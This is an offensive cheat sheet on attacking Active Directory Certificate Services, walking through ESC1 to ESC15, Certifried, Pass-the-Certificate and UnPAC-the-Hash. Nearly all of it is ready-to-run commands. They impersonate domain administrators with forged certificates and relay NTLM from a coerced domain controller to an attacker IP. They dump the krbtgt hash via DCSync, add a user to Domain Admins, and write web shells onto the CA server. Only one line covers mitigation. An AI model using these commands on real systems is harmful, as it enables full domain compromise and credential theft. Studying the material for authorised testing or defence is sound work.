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Active Directory - Certificate Services

Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.

ADCS Enumeration

  • netexec: netexec ldap domain.lab -u username -p password -M adcs
  • ldapsearch: ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
  • certutil: certutil.exe -config - -ping, certutil -dump

Certificate Enrollment

  • DNS required (CT_FLAG_SUBJECT_ALT_REQUIRE_DNS or CT_FLAG_SUBJECT_ALT_REQUIRE_DOMAIN_DNS): only principals with their dNSHostName attribute set can enroll.

    • Active Directory Users cannot enroll in certificate templates requiring dNSHostName.
    • Computers will get their dNSHostName attribute set when you domain-join a computer, but the attribute is null if you simply create a computer object in AD.
    • Computers have validated write to their dNSHostName attribute meaning they can add a DNS name matching their computer name.
  • Email required (CT_FLAG_SUBJECT_ALT_REQUIRE_EMAIL or CT_FLAG_SUBJECT_REQUIRE_EMAIL): only principals with their mail attribute set can enroll unless the template is of schema version 1.

    • By default, users and computers do not have their mail attribute set, and they cannot modify this attribute themselves.
    • Users might have the mail attribute set, but it is rare for computers.

ESC1 - Misconfigured Certificate Templates

Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.

Requirements

  • Template that allows for AD authentication
  • ENROLLEE_SUPPLIES_SUBJECT flag
  • [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)

Exploitation

  • Use Certify.exe to see if there are any vulnerable templates

    Certify.exe find /vulnerable
    Certify.exe find /vulnerable /currentuser
    # or
    PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local'
    # or
    certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound
    # or
    python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
    
  • Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)

    # request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt.
    Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin
    certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN
    certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
    
  • Use OpenSSL and convert the certificate, do not enter a password

    openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
    
  • Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus

    Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
    

WARNING: These certificates will still be usable even if the user or computer resets their password!

NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.

ESC2 - Misconfigured Certificate Templates

Requirements

  • Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)

Exploitation

  • Find template
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local'
# or
python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
  • Request a certificate specifying the /altname as a domain admin like in ESC1.

ESC3 - Misconfigured Enrollment Agent Templates

ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users

  • Request a certificate based on the vulnerable certificate template ESC3.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3'
[*] Saved certificate and private key to 'john.pfx'
  • Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'

ESC4 - Access Control Vulnerabilities

Enabling the mspki-certificate-name-flag flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability

  • Search for WriteProperty with value 00000000-0000-0000-0000-000000000000 using modifyCertTemplate
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
  • Add the ENROLLEE_SUPPLIES_SUBJECT (ESS) flag to perform ESC1
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag

# Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. 
C:\>StandIn.exe --adcs --filter WebServer --ess --add
  • Perform ESC1 and then restore the value
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag

Using Certipy

# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json

ESC5 - Vulnerable PKI Object Access Control

Escalate the privileges from Domain Administrator in the child domain into Enterprise Administrator at the forest root.

Requirements:

  • Add new templates to the "Certificate" Templates container
  • "WRITE" access to the pKIEnrollmentService object

Exploitation:

  • Use PsExec to launch mmc as SYSTEM on the child DC: psexec.exe /accepteula -i -s mmc
  • Connect to "Configuration naming context" > "Certificate Template" container
  • Open certsrv.msc as SYSTEM and duplicate an existing template
  • Edit the properties of the template to:
    • Granting enroll rights to a principal we control in the child domain.
    • Including Client Authentication in the Application Policies.
    • Allowing SANs in certificate requests.
    • Not enabling manager approval or authorized signatures.
  • Publish the certificate template to the CA
    • Publish by adding the template to the list in certificateTemplate property of CN=Services>CN=Public Key Services>CN=Enrollment Services>pkiEnrollmentService
  • Finally use the ESC1 vulnerability introduced in the duplicated template to issue a certificate impersonating an Enterprise Administrator.

ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2

If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.

Exploitation

  • Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the EDITF_ATTRIBUTESUBJECTALTNAME2 flag.

    Certify.exe cas
    
  • Request a certificate for a template and add an altname, even though the default User template doesn't normally allow to specify alternative names

    .\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
    

Mitigation

  • Remove the flag: certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2

ESC7 - Vulnerable Certificate Authority Access Control

Exploitation

  • Detect CAs that allow low privileged users the ManageCA or Manage Certificates permissions

    Certify.exe find /vulnerable
    
  • Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)

    Certify.exe setconfig /enablesan /restart
    
  • Request the certificate with the desired SAN.

    Certify.exe request /template:User /altname:super.adm
    
  • Grant approval if required or disable the approval requirement

    # Grant
    Certify.exe issue /id:[REQUEST ID]
    # Disable
    Certify.exe setconfig /removeapproval /restart
    

Alternative exploitation from ManageCA to RCE on ADCS server:

# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly

# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx

# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp

# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php

ESC8 - AD CS Relay Attack

An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.

Require Impacket PR #1101

  • Version 1: NTLM Relay + Rubeus + PetitPotam
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate
# For a member server or workstation, the template would be "Computer".
# Other templates: workstation, DomainController, Machine, KerberosAuthentication

# Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam 
# You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN
git clone https://github.com/topotam/PetitPotam
python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP
python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP
python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain>
python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local

# Use the certificate with rubeus to request a TGT
Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt
Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt

# Now you can use the TGT to perform a DCSync
mimikatz> lsadump::dcsync /user:krbtgt
  • Version 2: NTLM Relay + Mimikatz + Kekeo
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController

# Mimikatz
mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth

# Kekeo
kekeo> base64 /input:on
kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt

# Mimikatz
mimikatz> lsadump::dcsync /user:krbtgt
  • Version 3: Kerberos Relay
# Setup the relay
sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine

# Run mitm6
sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
  • Version 4: ADCSPwn - Require WebClient service running on the domain controller. By default this service is not installed.
https://github.com/bats3c/ADCSPwn
adcspwn.exe --adcs <cs server> --port [local port] --remote [computer]
adcspwn.exe --adcs cs.pwnlab.local
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt
adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local

# ADCSPwn arguments
adcs            -       This is the address of the AD CS server which authentication will be relayed to.
secure          -       Use HTTPS with the certificate service.
port            -       The port ADCSPwn will listen on.
remote          -       Remote machine to trigger authentication from.
username        -       Username for non-domain context.
password        -       Password for non-domain context.
dc              -       Domain controller to query for Certificate Templates (LDAP).
unc             -       Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) .
output          -       Output path to store base64 generated crt.
  • Version 5: Certipy ESC8
certipy relay -ca 172.16.19.100

ESC9 - No Security Extension

Requirements

  • StrongCertificateBindingEnforcement set to 1 (default) or 0
  • Certificate contains the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value
  • Certificate specifies Any Client authentication EKU
  • GenericWrite over any account A to compromise any account B

Scenario

John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.

  • Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)

    certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
    
  • Change the userPrincipalName of Jane to be Administrator. ⚠ leave the @corp.local part

    certipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
    
  • Request the vulnerable certificate template ESC9 from Jane's account.

    certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9
    # userPrincipalName in the certificate is Administrator 
    # the issued certificate contains no "object SID"
    
  • Restore userPrincipalName of Jane to Jane@corp.local.

    certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
    
  • Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.

    certipy auth -pfx administrator.pfx -domain corp.local
    # Add -domain <domain> to your command line since there is no domain specified in the certificate.
    

ESC11 - Relaying NTLM to ICPR

Encryption is not enforced for ICPR requests and Request Disposition is set to Issue.

Requirements:

Exploitation:

  1. Look for Enforce Encryption for Requests: Disabled in certipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout output
  2. Setup a relay using Impacket ntlmrelay and trigger a connection to it.

    ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
    

ESC12 - ADCS CA on YubiHSM

The ESC12 vulnerability occurs when a Certificate Authority (CA) stores its private key on a YubiHSM2 device, which requires an authentication key (password) to access. This password is stored in the registry in cleartext, allowing an attacker with shell access to the CA server to recover the private key.

Unlocking the YubiHSM with the plaintext password in the registry key: HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword.

  • Importing the CA certificate into the user store
certutil -addstore -user my <CA certificate file>
  • Associated with the private key in the YubiHSM2 device
certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my <CA Common Name>
  • Finally use certutil -sign ...

ESC13 - Issuance Policy

If a principal (user or computer) has enrollment rights on a certificate template configured with an issuance policy that has an OID group link, then this principal can enroll a certificate that allows obtaining access to the environment as a member of the group specified in the OID group link.

Requirements

  • The principal has enrollment rights on a certificate template
  • The certificate template has an issuance policy extension
  • The issuance policy has an OID group link to a group
  • The certificate template defines EKUs that enable client authentication
PS C:\> $ESC13Template = Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties nTSecurityDescriptor $ESC13Template.nTSecurityDescriptor.Access | ? {$_.IdentityReference -eq "DUMPSTER\ESC13User"}
AccessControlType     : Allow

# check if there is an issuance policy in the msPKI-Certificate-Policy
PS C:\> Get-ADObject "CN=ESC13Template,$TemplateContainer" -Properties msPKI-Certificate-Policy
msPKI-Certificate-Policy : {1.3.6.1.4.1.311.21.8.4571196.1884641.3293620.10686285.12068043.134.3651508.12319448}

# check for OID group link
PS C:\> Get-ADObject "CN=12319448.2C2B96A74878E00434BEDD82A61861C5,$OIDContainer" -Properties DisplayName,msPKI-Cert-Template-OID,msDS-OIDToGroupLink
msDS-OIDToGroupLink     : CN=ESC13Group,OU=Groups,OU=Tier0,DC=dumpster,DC=fire

# verify if ESC13Group is a Universal group
PS C:\> Get-ADGroup ESC13Group -Properties Members
GroupScope        : Universal
Members           : {}

Exploitation:

  • Request a certificate for the vulnerable template
PS C:\> .\Certify.exe request /ca:DC01\dumpster-DC01-CA /template:ESC13Template
  • Merge into a PFX file
PS C:\> certutil -MergePFX .\esc13.pem .\esc13.pfx
  • Verify the presence of the "Client Authentication" and the "Policy Identifier"
PS C:\> certutil -Dump -v .\esc13.pfx
  • Ask a TGT for our user, but we are also member of the linked group and inherited their privileges
PS C:\> .\Rubeus.exe asktgt /user:ESC13User /certificate:C:\esc13.pfx /nowrap

ESC15 - EKUwu Application Policies - CVE-2024-49019

This technique now has a CVE number and was patched on November 12, See Active Directory Certificate Services Elevation of Privilege Vulnerability - CVE-2024-49019 for more information.

Requirements

  • Template Schema Version 1
  • ENROLLEE_SUPPLIES_SUBJECT = True

Exploitation:

Detect the vulnerability from BloodHound data using the following cypher query.

MATCH p=(:Base)-[:MemberOf*0..]->()-[:Enroll|AllExtendedRights]->(ct:CertTemplate)-[:PublishedTo]->(:EnterpriseCA)-[:TrustedForNTAuth]->(:NTAuthStore)-[:NTAuthStoreFor]->(:Domain) WHERE ct.enrolleesuppliessubject = True AND ct.authenticationenabled = False AND ct.requiresmanagerapproval = False AND ct.schemaversion = 1 RETURN p

The Application Policies extension is a proprietary certificate extension with the OID 1.3.6.1.4.1.311, same as x509 EKUs. It was designed to allow users to specify additional use cases for certificates by utilizing the same OIDs as those in the Enhanced Key Usage extension. If there is a conflict between an Application Policy and an EKU, then Microsoft prefers the proprietary Application Policy.

"Application policy is Microsoft specific and is treated much like Extended Key Usage. If a certificate has an extension containing an application policy and also has an EKU extension, the EKU extension is ignored." - Microsoft

When a user requests a certificate based on a schema version 1 template and includes an application policy, the policy is incorporated into the certificate. This allows users to specify arbitrary EKUs, bypassing the requirements for ESC2.

ESC1 - The WebServer template is enabled by default in ADCS, requires a user-supplied SAN and only has the Server Authentication EKU. Using ly4k/Certipy PR #228, we can add the Client Authentication EKU to WebServer. Anybody with the Enroll permission on this template can now compromise the domain.

certipy req -dc-ip 10.10.10.10 -ca CA -target-ip 10.10.10.11 -u user@domain.com -p 'P@ssw0rd' -template WebServer -upn Administrator@domain.com --application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 -ldap-shell

# in LDAP shell
add_user pentest_user
add_user_to_group pentest_user "Domain Admins"

ESC2/ESC3 - Certificate Request Agent (1.3.6.1.4.1.311.20.2.1),

certipy -req -u user@domain.com -p 'P@ssw0rd' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca "Lab Root CA" -template WebServer -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy -req -u user@domain.com -p 'P@ssw0rd' -on-behalf-of DOMAIN\\Administrator -Template User -ca "Lab Root CA" -pfx user.pfx -dc-ip 10.10.10.10 -target-ip 10.10.10.11
certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10

Certifried CVE-2022-26923

An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.

  • Find ms-DS-MachineAccountQuota
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' --attr ms-DS-MachineAccountQuota 
  • Add a new computer in the Active Directory, by default MachineAccountQuota = 10
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*'
certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
  • [ALTERNATIVE] If you are SYSTEM and the MachineAccountQuota=0: Use a ticket for the current machine and reset its SPN
Rubeus.exe tgtdeleg
export KRB5CCNAME=/tmp/ws02.ccache
bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
  • Set the dNSHostName attribute to match the Domain Controller hostname
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
  • Request a ticket
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA
certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
  • Either use the pfx or set a RBCD on your machine account to takeover the domain
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10

openssl pkcs12 -in dc.pfx -out dc.pem -nodes
bloodyAD -d lab.local  -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$'
getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*'   
secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10 

Pass-The-Certificate

Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"

  • Windows
# Information about a cert file
certutil -v -dump admin.pfx

# From a Base64 PFX
Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show

# Grant DCSync rights to an user
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID>
# To restore
./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
  • Linux
# Base64-encoded PFX certificate (string) (password can be set)
gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PEM certificate (file) + PEM private key (file)
gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# PFX certificate (file) + password (string, optionnal)
gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"

# Using Certipy
certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain'
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"

UnPAC The Hash

Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.

  • Windows

    # Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC.
    Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
    
  • Linux

    # Obtain a TGT by validating a PKINIT pre-authentication
    $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE"
    
    # Use the session key to recover the NT hash
    $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
    

References